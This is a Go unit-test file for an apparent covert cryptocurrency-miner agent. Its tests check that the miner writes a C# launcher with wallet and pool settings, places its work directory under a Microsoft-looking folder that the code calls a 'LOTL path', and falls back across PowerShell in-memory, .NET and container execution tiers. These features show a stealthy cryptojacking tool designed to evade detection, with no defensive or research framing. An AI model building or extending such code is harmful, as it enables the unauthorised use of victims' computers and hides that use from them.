152 lines
3.6 KiB
Go
152 lines
3.6 KiB
Go
package miner
|
|
|
|
import (
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func fakeDotnetRecorder(t *testing.T) string {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
if runtime.GOOS == "windows" {
|
|
bat := filepath.Join(dir, "fake-dotnet.cmd")
|
|
body := `@echo off
|
|
if "%1"=="build" exit /b 0
|
|
if "%1"=="run" (
|
|
ping -n 3 127.0.0.1 >nul
|
|
exit /b 0
|
|
)
|
|
exit /b 0
|
|
`
|
|
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return bat
|
|
}
|
|
sh := filepath.Join(dir, "fake-dotnet.sh")
|
|
body := `#!/bin/sh
|
|
case "$1" in
|
|
build) exit 0 ;;
|
|
run) sleep 1 ;;
|
|
esac
|
|
exit 0
|
|
`
|
|
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return sh
|
|
}
|
|
|
|
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
|
|
if runtime.GOOS != "windows" {
|
|
t.Skip("dotnet tier is Windows-only")
|
|
}
|
|
|
|
bin := fakeDotnetRecorder(t)
|
|
SetDotnetBinPath(bin)
|
|
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
|
|
return exec.Command(name, args...)
|
|
})
|
|
defer func() {
|
|
SetDotnetBinPath("")
|
|
SetDotnetExecCommand(nil)
|
|
}()
|
|
|
|
t.Setenv("LOCALAPPDATA", t.TempDir())
|
|
|
|
cfg := config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
BuildID: "dn-test",
|
|
Wallet: "XMR:wallet456",
|
|
WorkerName: "worker-dn",
|
|
PoolHost: "pool.example.com",
|
|
PoolPort: 4444,
|
|
PoolTLS: true,
|
|
PoolPass: "secret",
|
|
},
|
|
}
|
|
|
|
launcher, err := NewDotnetLauncher(cfg)
|
|
if err != nil {
|
|
t.Fatalf("NewDotnetLauncher: %v", err)
|
|
}
|
|
if launcher.Toolchain() != "dotnet" {
|
|
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
|
|
}
|
|
|
|
if err := launcher.Start(); err != nil {
|
|
t.Fatalf("Start: %v", err)
|
|
}
|
|
defer launcher.Stop()
|
|
|
|
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
|
|
if err != nil {
|
|
t.Fatalf("read Program.cs: %v", err)
|
|
}
|
|
text := string(cs)
|
|
if !strings.Contains(text, "XMR:wallet456") {
|
|
t.Fatalf("Program.cs missing wallet: %s", text)
|
|
}
|
|
if !strings.Contains(text, "pool.example.com") {
|
|
t.Fatalf("Program.cs missing pool host: %s", text)
|
|
}
|
|
if !strings.Contains(text, "PoolTLS = true") {
|
|
t.Fatalf("Program.cs missing TLS flag: %s", text)
|
|
}
|
|
|
|
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
|
|
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
|
|
}
|
|
|
|
if !launcher.Running() {
|
|
t.Fatal("Running() false after Start")
|
|
}
|
|
}
|
|
|
|
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
|
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
MinerExecution: ExecutionPowerShell,
|
|
PoolHost: "p",
|
|
Wallet: "w",
|
|
},
|
|
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
|
if chain[0] != MethodPowerShell {
|
|
t.Fatalf("chain=%v want powershell first", chain)
|
|
}
|
|
}
|
|
|
|
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
|
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
MinerExecution: ExecutionDotnet,
|
|
PoolHost: "p",
|
|
Wallet: "w",
|
|
},
|
|
}, ContainerRuntimeInfo{})
|
|
if chain[0] != MethodDotnet {
|
|
t.Fatalf("chain=%v want dotnet first", chain)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
|
|
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
|
|
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
MinerExecution: ExecutionPowerShell,
|
|
Wallet: "w",
|
|
PoolHost: "p",
|
|
PoolPort: 3333,
|
|
},
|
|
})
|
|
if len(chain) == 0 || chain[0] != TierPSInMemory {
|
|
t.Fatalf("chain=%v want ps_inmemory first", chain)
|
|
}
|
|
}
|